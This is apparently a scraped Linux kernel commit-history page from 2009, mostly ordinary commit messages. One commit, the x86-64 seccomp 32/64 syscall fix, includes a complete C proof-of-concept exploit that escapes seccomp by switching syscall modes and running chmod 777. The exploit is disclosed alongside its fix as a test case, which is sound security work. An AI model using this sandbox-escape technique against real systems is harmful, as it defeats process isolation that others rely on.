1. 16 6月, 2009 13 次提交
  2. 12 6月, 2009 5 次提交
    • R
      module: trim exception table on init free. · ad6561df
      Rusty Russell 提交于
      It's theoretically possible that there are exception table entries
      which point into the (freed) init text of modules.  These could cause
      future problems if other modules get loaded into that memory and cause
      an exception as we'd see the wrong fixup.  The only case I know of is
      kvm-intel.ko (when CONFIG_CC_OPTIMIZE_FOR_SIZE=n).
      
      Amerigo fixed this long-standing FIXME in the x86 version, but this
      patch is more general.
      
      This implements trim_init_extable(); most archs are simple since they
      use the standard lib/extable.c sort code.  Alpha and IA64 use relative
      addresses in their fixups, so thier trimming is a slight variation.
      
      Sparc32 is unique; it doesn't seem to define ARCH_HAS_SORT_EXTABLE,
      yet it defines its own sort_extable() which overrides the one in lib.
      It doesn't sort, so we have to mark deleted entries instead of
      actually trimming them.
      Inspired-by: NAmerigo Wang <amwang@redhat.com>
      Signed-off-by: NRusty Russell <rusty@rustcorp.com.au>
      Cc: linux-alpha@vger.kernel.org
      Cc: sparclinux@vger.kernel.org
      Cc: linux-ia64@vger.kernel.org
      ad6561df
    • A
      asm-generic: rename page.h and uaccess.h · 5b17e1cd
      Arnd Bergmann 提交于
      The current asm-generic/page.h only contains the get_order
      function, and asm-generic/uaccess.h only implements
      unaligned accesses. This renames the file to getorder.h
      and uaccess-unaligned.h to make room for new page.h
      and uaccess.h file that will be usable by all simple
      (e.g. nommu) architectures.
      Signed-off-by: NRemis Lima Baima <remis.developer@googlemail.com>
      Signed-off-by: NArnd Bergmann <arnd@arndb.de>
      5b17e1cd
    • A
      asm-generic: rename atomic.h to atomic-long.h · 72099ed2
      Arnd Bergmann 提交于
      The existing asm-generic/atomic.h only defines the
      atomic_long type. This renames it to atomic-long.h
      so we have a place to add a truly generic atomic.h
      that can be used on all non-SMP systems.
      Signed-off-by: NRemis Lima Baima <remis.developer@googlemail.com>
      Signed-off-by: NArnd Bergmann <arnd@arndb.de>
      Acked-by: NIngo Molnar <mingo@elte.hu>
      72099ed2
    • A
      asm-generic: introduce asm/bitsperlong.h · c31ae4bb
      Arnd Bergmann 提交于
      This provides a reliable way for asm-generic/types.h and other
      files to find out if it is running on a 32 or 64 bit platform.
      
      We cannot use CONFIG_64BIT for this in headers that are included
      from user space because CONFIG symbols are not available there.
      We also cannot do it inside of asm/types.h because some headers
      need the word size but cannot include types.h.
      
      The solution is to introduce a new header <asm/bitsperlong.h>
      that defines both __BITS_PER_LONG for user space and
      BITS_PER_LONG for usage in the kernel. The asm-generic
      version falls back to 32 bit unless the architecture overrides
      it, which I did for all 64 bit platforms.
      Signed-off-by: NRemis Lima Baima <remis.developer@googlemail.com>
      Signed-off-by: NArnd Bergmann <arnd@arndb.de>
      c31ae4bb
    • A
      asm-generic: rename termios.h, signal.h and mman.h · 63b852a6
      Arnd Bergmann 提交于
      The existing asm-generic versions are incomplete and included
      by some architectures. New architectures should be able
      to use a generic version, so rename the existing files and
      change all users, which lets us add the new files.
      Signed-off-by: NRemis Lima Baima <remis.developer@googlemail.com>
      Signed-off-by: NArnd Bergmann <arnd@arndb.de>
      63b852a6
  3. 07 6月, 2009 1 次提交
  4. 08 5月, 2009 1 次提交
  5. 15 4月, 2009 1 次提交
  6. 14 4月, 2009 1 次提交
  7. 09 4月, 2009 1 次提交
  8. 08 4月, 2009 1 次提交
  9. 03 4月, 2009 1 次提交
  10. 30 3月, 2009 1 次提交
  11. 26 3月, 2009 1 次提交
  12. 19 3月, 2009 2 次提交
  13. 16 3月, 2009 5 次提交
  14. 03 3月, 2009 1 次提交
    • R
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
  15. 16 2月, 2009 1 次提交
    • P
      net: new user space API for time stamping of incoming and outgoing packets · cb9eff09
      Patrick Ohly 提交于
      User space can request hardware and/or software time stamping.
      Reporting of the result(s) via a new control message is enabled
      separately for each field in the message because some of the
      fields may require additional computation and thus cause overhead.
      User space can tell the different kinds of time stamps apart
      and choose what suits its needs.
      
      When a TX timestamp operation is requested, the TX skb will be cloned
      and the clone will be time stamped (in hardware or software) and added
      to the socket error queue of the skb, if the skb has a socket
      associated with it.
      
      The actual TX timestamp will reach userspace as a RX timestamp on the
      cloned packet. If timestamping is requested and no timestamping is
      done in the device driver (potentially this may use hardware
      timestamping), it will be done in software after the device's
      start_hard_xmit routine.
      Signed-off-by: NPatrick Ohly <patrick.ohly@intel.com>
      Signed-off-by: NDavid S. Miller <davem@davemloft.net>
      cb9eff09
  16. 30 1月, 2009 1 次提交
  17. 29 1月, 2009 1 次提交
  18. 15 1月, 2009 1 次提交
  19. 11 1月, 2009 1 次提交